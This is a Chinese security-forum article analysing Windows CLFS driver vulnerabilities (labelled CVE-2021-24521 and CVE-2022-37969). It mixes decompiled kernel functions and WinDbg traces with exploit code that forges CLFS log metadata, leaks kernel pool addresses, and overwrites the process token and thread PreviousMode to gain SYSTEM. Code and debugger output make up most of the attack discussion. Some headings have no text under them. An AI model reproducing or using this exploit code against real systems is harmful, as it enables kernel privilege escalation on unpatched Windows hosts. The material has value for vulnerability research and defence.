看雪论坛精华文章
看雪论坛作者ID:王cb
一
简介
二
CVE-2021-24521漏洞分析
__int64 __fastcall CClfsContainer::Close(CClfsContainer *this)
{
CClfsContainer *that; // rbx
void *v2; // rcx
NTSTATUS hr; // edi
that = this;
v2 = (void *)this->field_DeviceObjectHint_20;
if ( !v2 )
return 3221225480i64;
hr = ZwClose(v2);
if ( hr >= 0 )
{
that->field_DeviceObjectHint_20 = 0i64;
that->field_ContainerSize_8 = 0i64;
}
ObfDereferenceObject((PVOID)that->field_Device_Object_30);
that->field_Device_Object_30 = 0i64;
return (unsigned int)
bool WriteProcessToken() {
unsigned long written = 0;
ULONGLONG pToken[] = { 0, 0, 0, 0 };
NtWriteVirtualMemory(
GetCurrentProcess(),
&pToken,
(PVOID)(SystemEProcessAddress + dwEProcessTokenPos - 0x10),
0x20,
&written);
NTSTATUS ret = NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)(selfEProcessAddress + dwEProcessTokenPos),
&pToken[2],
8,
&written);
if (ret) {
printf("[+] Write EProcess token failed \n");
return FALSE;
}
// restore user thread.
Sleep(100);
BYTE previouMode = 1;
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)( ullKThreadAddress + dwThreadPreModePos ),
&previouMode,
1,
&written);
printf("[+] Write EProcess token Success! \n");
return TRUE;
}
三
CVE-2021-24521漏洞分析后篇
在四月的CVE-2021-24521和九月的CVE-2021-24521,存在一个不知名的clfs漏洞,具体方式是通过一个混肴的CLIENT_CONTEXT和CONTAINER_CONTEXT结构公用同一片符号表内存,用实际只相差8大小的地址空间,导致CLFSHASHSYM结构的下个cbSymName和cbOffset正好是上个不做验证ulBelow和ulAbove字段,在关闭CONTAINER时绕过AcquireContainerContext检查还原重叠的PCLFS_CONTAINER_CONTEXT的pContainer 指针,在CONTAINER_CONTEXT结构后是原来的Container路径字符串,由于重叠的关系CLIENT_CONTEXT后的路径字符串没有对应的正确内容,但是clfs没有去验证这个限制,所以就实现了绕过类型混淆。
具体利用方法片段如下:
void vul(){
int ContainerOffset = 0x1528;
int ClientOffset = ContainerOffset-8;
PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x8200);
ULONGLONG base_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[0];
PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record->rgClients[0] = ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset);
PCLFS_CONTAINER_CONTEXT orgctx = (PCLFS_CONTAINER_CONTEXT)(base_record_ptr + ContainerOffset);
PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM));
PCLFSHASHSYM orgsym = (PCLFSHASHSYM)(base_record_ptr + ContainerOffset - sizeof(CLFSHASHSYM));
fakesym->cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT);
fakesym->cbOffset = ClientOffset;
fakectx->cidClient = 0;
fakectx->Reserved1 = 0;
fakectx->fAttributes = 0;
orgctx->pContainer = 0x40000000;
}
__int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted *this, unsigned int lsn, _CLFS_CONTAINER_CONTEXT **a3)
{
_CLFS_CONTAINER_CONTEXT **ctnctx; // r14
if ( 0 == that->field_cblock_28
|| (rgblock = that->field_rgBlocks_30, (ctrlhd = rgblock[2].pbImage) == 0i64)
|| (offset = ctrlhd->RecordOffsets[0],
basesd = (_CLFS_BASE_RECORD_HEADER *)(&ctrlhd->MajorVersion + offset),
cb = rgblock[2].cbImage,
(unsigned int)offset >= cb)
|| (unsigned int)offset < 0x70
|| cb - (unsigned int)offset < 0x1338 )
{
basesd = 0i64;
}
if ( basesd )
{
ctnoffset = basesd->rgContainers[lsnref];
if ( ctnoffset )
result = CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx);
else
result = 3221225480i64;
}
else
{
result = 3222929421i64;
}
}
return result;
}
__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted *this, unsigned int offsetfrom, int containeridx, _CLFS_CONTAINER_CONTEXT **retval)
{
_CLFS_CONTAINER_CONTEXT **retvalref; // r14
retvalref = retval;
containeridxRef = containeridx;
rgcontaineroffset = offsetfrom;
file = this;
hr = 0;
v18 = 0;
if ( offsetfrom < 0x1368 )
return 0xC01A000Di64;
*retval = 0i64;
ExAcquireResourceSharedLite((PERESOURCE)this->field_lock_20, 1u);
if ( !CClfsBaseFile::IsValidOffset(file, rgcontaineroffset + 0x2F) )
goto LABEL_21;
v11 = file->field_rgBlocks_30[2].pbImage;
CClfsBaseFile::GetBaseLogRecord(file);
rgcontaineroffsetRaw = 0;
// //RecordOffsets=70 ,rgcontaineroffset=14a0;14a0+800+70=1d10= _CLFS_CONTAINER_CONTEXT **a4,craw=800+70
if ( (signed int)ULongAdd(rgcontaineroffset, v12->RecordOffsets[0], &rgcontaineroffsetRaw) < 0
|| !craw
|| rgcontaineroffsetRaw >= (unsigned int)v14->TotalSectorCount << 9
|| !(craw + rgcontaineroffset) )
{
goto LABEL_21;
}
// _CLFS_CONTAINER_CONTEXT **a4 =1d10;poi(1d10-0n12)=cbOffset=rgcontaineroffset=14a0
if ( *(_DWORD *)(craw + rgcontaineroffset - 0xC) != (_DWORD)rgcontaineroffset )
{
hr = 030000000010;
LABEL_15:
v18 = hr;
goto LABEL_16;
}
ctnsize = ClfsQuadAlign(0x30u);
// cbOffset= (unsigned __int64)(pctnref + ctnsize)
// cbOffset字符串位置正好是在container的结尾
if ( pctn[-1].usnCurrent != (unsigned __int64)(pctnref + ctnsize) || pctn->cidContainer != containeridxRef )
{
LABEL_21:
hr = 0xC01A000D;
goto LABEL_15;
}
*retvalref = pctn;
return hr;
}
__int64 __usercall CClfsLogFcbPhysical::[email protected]<rax>(CClfsLogFcbPhysical *[email protected]<rcx>, void *[email protected]<rdx>, struct _SECURITY_SUBJECT_CONTEXT *[email protected]<r8>, __int16 [email protected]<r9w>, ACCESS_MASK DesiredAccess, unsigned int DesiredShareAccess, __int64 a7, struct _FILE_OBJECT *FileObject, unsigned __int8 a9)
{
CClfsBaseFile::AcquireClientContext(file->field_BaseFilePersisted_2A8, 0, &cltctx);
if ( !(cltctx->eState & 0x20)
|| ((unsigned __int8 (__fastcall *)(CClfsLogFcbPhysical *, __int64, __int64, __int64, __int64))file->vftbl_0_00000001C0013440->CClfsLogFcbPhysical::IsMultiplexed_void)(
file,
attrval,
v17,
v18,
Update) )
{
//保存pContainer指针为旧值在CClfsLogFcbPhysical中
file->field_CtrateTime_1a0 = cltctx->llCreateTime.QuadPart;
} else
{
//fakectx->eState = CLFS_LOG_SHUTDOWN;见下面分析
CClfsLogFcbPhysical::ResetLog(file);
}
}
__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical *this)
{
that = this;
hr = CClfsBaseFile::AcquireClientContext(this->field_BaseFilePersisted_2A8, 0, &cltctx);
//替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存
cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;
...
CClfsBaseFile::ReleaseClientContext((CClfsBaseFile *)that->field_BaseFilePersisted_2A8, &cltctx);
v7 = CClfsBaseFilePersisted::FlushImage(that->field_BaseFilePersisted_2A8);
}
//在FlushImage中调用
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted *this, unsigned int a2, char shadow)
{
for ( i = 0; i < 0x400; ++i )
{
v15 = CClfsBaseFile::AcquireContainerContext(that, i, &ctn);
what = (CClfsBaseFilePersisted *)((char *)that + 8 * i);
ctnref = ctn;
what->pContainer_1c0 = (void **)&ctn->pContainer->pctn;
ctnref->pContainer = 0i64;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)that, &ctn);
}
ClfsEncodeBlock(header, header->TotalSectorCount << 9, header->Usn, 0x10u, 1u);
ClfsDecodeBlock(header, header->TotalSectorCount, header->Usn, 0x10u, &v21);
pcontainersaved = (CClfsContainer **)&that->pContainer_1c0;
do
{
if ( *pcontainersaved && (signed int)CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) >= 0 )
{
ctn->pContainer = *pcontainersaved;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)that, &ctn);
}
++ctnidxsearch;
++pcontainersaved;
}
while ( ctnidxsearch < 0x400 );
}
`
bp CLFS!CClfsBaseFilePersisted::LoadContainerQ
bp CLFS!CClfsBaseFile::GetSymbol
0: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=ffffc784287c1000
rdx=0000000000001528 rsi=ffffdc0782e5c398 rdi=0000000000001528
rip=fffff80026ee2670 rsp=ffffb30823028f88 rbp=ffffb30823029760
r8=0000000000000000 r9=ffffb30823029050 r10=fffff800272a7040
r11=ffffb308230289e0 r12=0000000000000000 r13=0000000000000000
r14=ffffc784287c1000 r15=ffffb30823029198
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
CLFS!CClfsBaseFile::GetSymbol:
fffff800`26ee2670 48895c2418 mov qword ptr [rsp+18h],rbx ss:0018:ffffb308`23028fa0=ffffdc0782e5c398
2: kd> k
# Child-SP RetAddr Call Site
00 ffffb308`23704f88 fffff800`26ee7294 CLFS!CClfsBaseFile::GetSymbol
01 ffffb308`23704f90 fffff800`26eb3156 CLFS!CClfsBaseFilePersisted::LoadContainerQ+0x2a4
02 ffffb308`23705100 fffff800`26edeb7b CLFS!CClfsLogFcbPhysical::Initialize+0x6da
03 ffffb308`23705240 fffff800`26ee0abb CLFS!CClfsRequest::Create+0x4ef
04 ffffb308`23705390 fffff800`26ee0887 CLFS!CClfsRequest::Dispatch+0x97
05 ffffb308`237053e0 fffff800`26ee07d7 CLFS!ClfsDispatchIoRequest+0x87
0: kd> gu
0: kd> dq poi(ffffb30823029050)
ffffdc07`82e5d598 00000030`00000000 00000000`00100000
//pContainer指针
ffffdc07`82e5d5a8 00000000`00000000 00000000`40000000
ffffdc07`82e5d5b8 00000002`00000001 00000000`00000000
//下pContainer指针硬件访问断点
ba w8 ffffdc07`82e5d598 +18
Breakpoint 3 hit
CLFS!CClfsBaseFilePersisted::LoadContainerQ+0x4e5:
fffff800`26ee74d5 4885c9 test rcx,rcx
//LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针
0: kd> dps poi(ffffdc07`82e5d5b0)
ffffdc07`8291bab0 fffff800`26ec35f0 CLFS!CClfsContainer::`vftable'
ffffdc07`8291bab8 00000000`00000000
ffffdc07`8291bac0 00000000`00000000
0: kd> dq ffffdc07`82e5d598
ffffdc07`82e5d598 00000030`00000000 00000000`00100000
ffffdc07`82e5d5a8 00000000`00000000 ffffdc07`8291bab0
ffffdc07`82e5d5b8 00000002`00000001 00000000`00000000
1: kd> g
Breakpoint 3 hit
CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d:
fffff800`26eb158d 488b83a8010000 mov rax,qword ptr [rbx+1A8h]
1: kd> r
rax=0000000040000000 rbx=ffffc784288ed000 rcx=ffff80002b167180
rdx=0000000000000031 rsi=ffffc7842a3d2930 rdi=0000000000000000
rip=fffff80026eb158d rsp=ffffb30823029680 rbp=0000000000000001
r8=0000000000000804 r9=ffffdc0782e5d590 r10=0000000000000000
r11=ffffdc0782e5c000 r12=ffffc784297e9dc8 r13=0000000000000000
r14=ffffc784297e9ee8 r15=ffffc78422c79c01
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d:
fffff800`26eb158d 488b83a8010000 mov rax,qword ptr [rbx+1A8h] ds:002b:ffffc784`288ed1a8=0000000200000001
1: kd> k
# Child-SP RetAddr Call Site
00 ffffb308`23029680 fffff800`26ef1503 CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d
01 ffffb308`230296d0 fffff800`26eeea25 CLFS!CClfsLogFcbVirtual::Cleanup+0x213
02 ffffb308`23029760 fffff800`26eee939 CLFS!CClfsLogCcb::Cleanup+0xb1
03 ffffb308`230297b0 fffff800`26ee0955 CLFS!CClfsRequest::Cleanup+0x65
0c 0000000a`dc5ff920 00000000`00000000 0x00007ff8`d566a395
//FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;替换pContainer指针为旧值
1: kd> dq ffffdc07`82e5d598
ffffdc07`82e5d598 00000030`00000000 00000000`00100000
ffffdc07`82e5d5a8 00000000`00000000 00000000`40000000
ffffdc07`82e5d5b8 00000002`00000001 00000000`00000000
3: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffb308`23029618 fffff800`26eb8655 : ffffc784`287c1000 ffffc784`288ed000 00000000`00000000 fffff800`26eceb01 : CLFS!CClfsContainer::Close
01 ffffb308`23029620 fffff800`26eb87b6 : ffffdc07`82e5d598 ffffc784`288ed000 fffff800`26eceb20 00000000`00000000 : CLFS!CClfsLogFcbPhysical::CloseContainers+0x69
02 ffffb308`23029650 fffff800`26eb8761 : 00000000`00000000 ffffc784`288ed000 fffff800`26eceb20 ffffc784`288ed2f8 : CLFS!CClfsLogFcbPhysical::Finalize+0x42
03 ffffb308`23029680 fffff800`26eb9889 : ffffc784`2883d801 ffffc784`288ed250 00000000`00000000 ffffc784`297e9e28 : CLFS!CClfsLogFcbPhysical::Release+0xb1
04 ffffb308`230296e0 fffff800`26eddfd2 : ffffc784`2883d830 ffffc784`2883d801 00000000`00000000 ffffc784`2883d830 : CLFS!CClfsLogFcbVirtual::Release+0x69
05 ffffb308`23029720 fffff800`26ee0908 : ffffc784`2883d830 ffffc784`22c79c80 ffffc784`2883d830 00000000`00000000 : CLFS!CClfsRequest::Close+0xd6
06 ffffb308`23029770 fffff800`26ee07d7 : ffffc784`2883d830 ffffc784`2883d830 00000000`00000000 fffff800`27cf4204 : CLFS!ClfsDispatchIoRequest+0x108
3: kd> r
//rcx就是pContainer指针为旧值
rax=0000000000000000 rbx=ffffc784288ed000 rcx=0000000040000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80026eeb438 rsp=ffffb30823029618 rbp=ffffdc0782e5d598
r8=ffffb30823029550 r9=ffffdc0782e5c070 r10=0000000000000000
r11=ffffdc0782e5c000 r12=0000000000000000 r13=0000000000000001
r14=fffff80026eceb20 r15=ffffc78422c79c80
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
CLFS!CClfsContainer::Close:
fffff800`26eeb438 48895c2408 mov qword ptr [rsp+8],rbx ss:0018:ffffb308`23029620=ffffc784287c1000
3: kd> dq 0000000040000000
00000000`40000000 0000010d`844b0000 00000000`00000000
00000000`40000010 00000000`00000000 00000000`00000000
00000000`40000020 00000000`0000009c 00000000`00000000
//ullKThreadAddress + dwThreadPreModePos + 0x30;就是Thread的PreMode地址
00000000`40000030 ffffc784`29c79322 00000000`00000000
//ThreadPreMode地址
00000000`40000030 ffffc784`26d0b2e2 00000000`00000000
//调用pContainer指针为伪造的虚表函数地址
rax=fffff80026f10190 rbx=ffffc784288ed000 rcx=0000000040000000
rdx=00000000746c6644 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80026eb8660 rsp=ffffb30823029620 rbp=ffffdc0782e5d598
r8=ffffc7842a3ce08e r9=0000000000000006 r10=fffff80027216270
r11=ffffc78426d0b080 r12=0000000000000000 r13=0000000000000001
r14=fffff80026eceb20 r15=ffffc78422c79c80
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
CLFS!CClfsLogFcbPhysical::CloseContainers+0x74:
fffff800`26eb8660 ff157abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`26ed45e0)] ds:002b:fffff800`26ed45e0={CLFS!guard_dispatch_icall_nop (fffff800`26ebd4e0)}
5: kd> ln rax
(fffff800`26f10190) CLFS!ClfsSetEndOfLog | (fffff800`26f101f0) CLFS!ClfsSetLogFileInformation
4: kd> !thread
THREAD ffffc78429c790c0 Cid 15bc.08e4 Teb: 00000040e33dc000 Win32Thread: 0000000000000000 RUNNING on processor 4
Child-SP RetAddr : Args to Child : Call Site
ffffb308`23835618 fffff800`26eb8655 : ffffc784`280ef000 ffffc784`29603000 00000000`00000000 fffff800`26eceb01 : CLFS!CClfsContainer::Close
ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式
4: kd> dt nt!_KTHREAD ffffc78429c790c0 -y Previous
+0x232 PreviousMode : 0 ''
四
CVE-2022-37969漏洞分析
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
signed __int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int allowlen, void **endofSymZonePtrFrom)
{
void **endofSymZonePtrRet; // rsi
__int64 allowlenref; // rbp
_CLFS_BASE_RECORD_HEADER *BaseLogRecord; // rax
CClfsBaseFilePersisted *that; // r8
_CLFS_BASE_RECORD_HEADER *BaseLogRecordRef; // rdi
_CLFS_LOG_BLOCK_HEADER *hdr; // rcx
__int64 cbSymbolZone; // r8
char *endofSymZonePtr; // rbx
signed __int64 result; // rax
endofSymZonePtrRet = endofSymZonePtrFrom;
allowlenref = allowlen;
BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this);
BaseLogRecordRef = BaseLogRecord;
if ( !BaseLogRecord )
return 0xC01A000Di64;;
hdr = that->field_rgBlocks_30[2].pbImage;
*endofSymZonePtrRet = 0i64;
cbSymbolZone = BaseLogRecord->cbSymbolZone;
//下文要绕过的限制
if ( (char *)&BaseLogRecord[1] + cbSymbolZone + allowlenref > (char *)(&hdr->MajorVersion + hdr->SignaturesOffset) )
return 0xC0000023i64;
endofSymZonePtr = (char *)&BaseLogRecord[1] + cbSymbolZone;
memset(endofSymZonePtr, 0, (unsigned int)allowlenref);
BaseLogRecordRef->cbSymbolZone += allowlenref;
result = 0i64;
*endofSymZonePtrRet = endofSymZonePtr;
return result;
}
void __fastcall CClfsLogFcbPhysical::Finalize(CClfsLogFcbPhysical *this, char a2)
{
//DeleteLogByHandle方式
if ( file->clientshuwdown_15c & 0x10 )
{
CClfsLogFcbPhysical::DeleteBaseFileAndContainers(file);
{
if ( (signed int)CClfsBaseFile::AcquireContainerContext(v1->field_BaseFilePersisted_2A8, v5, &ctn) >= 0 )
{
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)v1->field_BaseFilePersisted_2A8, &ctn);
CClfsBaseFilePersisted::RemoveContainer(v1->field_BaseFilePersisted_2A8, ctn);
((void (__fastcall *)(CClfsContainer *, __int64, __int64, __int64, _BYTE))ctn->pctn->CClfsContainer::Remove_void)(
ctn,
v14,
v15,
v16,
0);
}
}
else
{
//活动容器大小是不是大于0
if ( (unsigned int)CClfsBaseFile::ContainerCount(v3) )
{
CClfsLogFcbPhysical::CloseContainers(file);
{
if ( (signed int)CClfsBaseFile::AcquireContainerContext(v1->field_BaseFilePersisted_2A8, v5, &ctn) >= 0 )
{
//直接关闭句柄的方式
CClfsContainer::Close(pctn);
((void (__fastcall *)(ULONGLONG, __int64, __int64, __int64, __int64))v4->pContainer->pctn->CClfsContainer::Release_void)(
v4->ullAlignment,
v6,
v7,
v8,
v10);
v4->ullAlignment = 0i64;
}
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)v3->field_BaseFilePersisted_2A8, &ctnctx);
}
}
}
}
}
__int64 __fastcall ClfsDeleteLogByPointer(struct _FILE_OBJECT *a1)
{
hr = CClfsLogCcb::CheckAccess(v8, 4);
{
if ( a2 & 1 && !this->field_fileobj_48->ReadAccess
|| a2 & 2 && !this->field_fileobj_48->WriteAccess
|| a2 & 4 && !this->field_fileobj_48->DeleteAccess )
{
hr = -1073741790;
}
}
if ( hr==0 )
{
if ( !CClfsLogFcbCommon::IsReadOnly(v5) )
{
file->clientshuwdown_15c = v10 | 0x10;
}
}
}
PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x800);
hd->SignaturesOffset = 0x50;
ULONGLONG base_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[0];
PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record->cbSymbolZone = 0x11000+0x15b;
base_record->rgClients[0] = ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset);
PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM));
fakesym->cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT);
fakesym->cbOffset = ClientOffset;
fakectx->cidNode.cType = 0xC1FDF007;
fakectx->cidNode.cbNode = sizeof(CLFS_CLIENT_CONTEXT);
fakectx->cidClient = 0;
fakectx->Reserved1 = 0;
fakectx->fAttributes = 0x0100;
fakectx->eState = CLFS_LOG_SHUTDOWN;
typedef enum _CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl,
ClfsMetaBlockControlShadow,
ClfsMetaBlockGeneral,
ClfsMetaBlockGeneralShadow,
ClfsMetaBlockScratch,
ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;
//一次读取元数据块和它的影子块
signed __int64 __fastcall CClfsBaseFile::AcquireMetadataBlock(CClfsBaseFilePersisted *this, __int64 idx, __int64 a3, __int64 a4)
{
int cbimg= file->field_rgBlocks_30[idx].cbImage;
LPVOID MetadataBlockPtr = (struct _CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned, cbimg, 'sflC');
that->field_rgBlocks_30[idx].pbImage = MetadataBlockPtr;
CClfsBaseFilePersisted::ReadMetadataBlock(MetadataBlockPtr,idx,...)
CLFS_METADATA_BLOCK_TYPE shadowblocktype = (unsigned int)(idx + 1);
hr = ClfsBaseFilePersisted::ReadMetadataBlock( that, shadowblocktype,...);
}
}
__int64 __fastcall CClfsBaseFilePersisted::ReadImage(CClfsBaseFilePersisted *this, struct _CLFS_CONTROL_RECORD **a2)
{
//获取第一个元数据
hr = CClfsBaseFile::GetControlRecord(file, ctrlrcd, v10, v11);{
result = CClfsBaseFile::AcquireMetadataBlock(this, ClfsMetaBlockControl, a3, a4);
MetadataBlockPtr = that->field_rgBlocks_30[0];
RecordOffset = MetadataBlockPtr->pbImage->RecordOffsets[0];
ctrlrcd = (_CLFS_CONTROL_RECORD *)(&MetadataBlockPtr->pbImage->MajorVersion + RecordOffset);
}
mapptr = (__int64)file->field_rgBlocks_30->pbImage;
for ( i = 0i64; (unsigned int)i < (unsigned __int16)file->field_cblock_28; i = (unsigned int)(i + 1) )
{
*(_OWORD *)&mapptrRef[idx].pbImage = *(_OWORD *)&(*ctrlrcd)->rgBlocks[(unsigned int)i].pbImage;
*(_QWORD *)&mapptrRef[idx].eBlockType = *(_QWORD *)&ctrlrcdRef->rgBlocks[(unsigned int)i].eBlockType;
}
//获取主元数据
hr = CClfsBaseFile::AcquireMetadataBlock(file, ClfsMetaBlockGeneral, i, mapptr);
}
DWORD dwBufSize = 1024 * 1024;
DWORD dwOutSize = 0;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
NTSTATUS hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
_tprintf(_T("NtQuerySystemInformation ret with 0x%d %d %d\n"), hRes, dwOutSize, GetLastError());
DWORD dwExpectedSize = 0x7a00;
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
printf("[+] StartAddress is : 0x%llx,EndAddress is : 0x%llx\n", StartAddress, EndAddress);
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
if (info->PoolTag == 'sflC' && dwExpectedSize == info->PoolSize)
{
ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0);
printf("[+] Name:%s ,Size:%llx ,FakeAddress is : 0x%llx,\n", &info->PoolTag, info->PoolSize, FakeAddress);
}
ptr += sizeof(BIG_POOL_INFO);
}
__int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical *this)
{
this->field_lsnrestart_1f0 = CLFS_LSN_INVALID;
struct _CLFS_CLIENT_CONTEXT *cltctx; // rcx
CClfsBaseFile::AcquireClientContext(this->field_BaseFilePersisted_2A8, 0, &ctnctx);
//ctx+58最后就会写入ignatureOffset=68加上2高位部分
cltctx->lsnRestart_58.ullOffset = that->field_lsnrestart_1f0;
}
__int64 __fastcall ClfsEncodeBlockPrivate(_CLFS_LOG_BLOCK_HEADER *hdr, unsigned int TotalSectorCount, char a3, unsigned __int8 a4)
{
do
{
// SignaturesOffsetAddr=(ULONGLONG)that+that->SignaturesOffset;
SignaturesOffsetAddr += 2i64;
flag1 = 0x20;
flag2 = 0x40;
if ( thisref->TotalSectorCount - 1 != Sectoridx )
flag1 = 0;
if ( Sectoridx )
flag2 = 0;
flagall = flag2 | flag1;
sectorbase = Sectoridx << 9;
LOBYTE(flagsig) = val10 | flagall;
++Sectoridx;
// signature array是个数组会和SignaturesOffset相交如果SignaturesOffset=0x50
*(_WORD *)(SignaturesOffsetAddr - 2) = *(USHORT *)((char *)&thisref->sig_1fe + sectorbase);
*(USHORT *)((char *)&thisref->sig_1fe + (unsigned int)sectorbase) = flagsig
}
while ( Sectoridx < SectorCount );
}
1: kd> bp clfs!CClfsLogFcbPhysical::ResetLog
2: kd> r
rax=0000000000000000 rbx=ffff8c038124e000 rcx=ffff8c0380cec000
rdx=0000000000000000 rsi=0000000073666c43 rdi=0000000000000200
rip=fffff8032ce014d5 rsp=ffff9c034e2290c0 rbp=ffff9c034e229760
r8=ffff9c034e229100 r9=ffffa2829d668070 r10=0000000000000000
r11=ffffa2829d668000 r12=0000000000000000 r13=ffff8c037fe37ad0
r14=ffff8c038124e000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
CLFS!CClfsLogFcbPhysical::ResetLog+0x91:
fffff803`2ce014d5 e8cae10100 call CLFS!CClfsBaseFile::AcquireClientContext (fffff803`2ce1f6a4)
//对 cltctx->lsnRestart字段下硬件断点
2: kd> ba r8 poi(ffff9c034e229100)+58
2: kd> g
Breakpoint 3 hit
CLFS!ClfsEncodeBlockPrivate+0xe9:
fffff803`2cdf8149 66418943fe mov word ptr [r11-2],ax
2: kd> r
rax=000000000000ffff rbx=0000000000000010 rcx=0000000000001a00
rdx=000000000000000e rsi=0000000000007a00 rdi=000000000000003d
rip=fffff8032cdf8149 rsp=ffff9c034e228f70 rbp=0000000000000000
r8=ffff9c034e228f90 r9=0000000000000002 r10=ffffa2829d668000
r11=ffffa2829d66806c r12=0000000000000001 r13=0000000000000002
r14=ffffa2829d668000 r15=0000000000000001
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
//r11-2正好是SignatureOffset=68加上2高位部分
2: kd> dc ffffa2829d668068
ffffa282`9d668068 00000050 00000000 00000002 00000000 P...............
ffffa282`9d668078 e2c8dc5c 11ed7dcb dfc0c3af 96701a04 \....}........p.
2: kd> p
CLFS!ClfsEncodeBlockPrivate+0xee:
fffff803`2cdf814e 0fb7442440 movzx eax,word ptr [rsp+40h]
//SignatureOffset已经变成了ffff0050
2: kd> dc ffffa2829d668068
ffffa282`9d668068 ffff0050 00000000 00000002 00000000 P...............
//继续对SignatureOffset字段下硬件断点
2: kd> ba r8 ffffa282`9d668068
//跳过2个CLFS!CClfsBaseFilePersisted::AddContainer来到这里
0: kd> p
0: kd> r
rax=000000000001120b rbx=ffffa2829d67a503 rcx=ffffa2829d67a503
rdx=0000000000000000 rsi=ffff9c034e229460 rdi=ffffa2829d668070
rip=fffff8032ce30207 rsp=ffff9c034e229410 rbp=00000000000000b0
r8=00000000000000b0 r9=00000000fffffff8 r10=fffff8032d5f08b0
r11=3333333333333333 r12=0000000000000060 r13=ffff9c034e2296d8
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x67:
fffff803`2ce30207 e874c8fcff call CLFS!memset (fffff803`2cdfca80)
//清零之前pcontainer指针的原始值
0: kd> dq ffffa2829d67a500
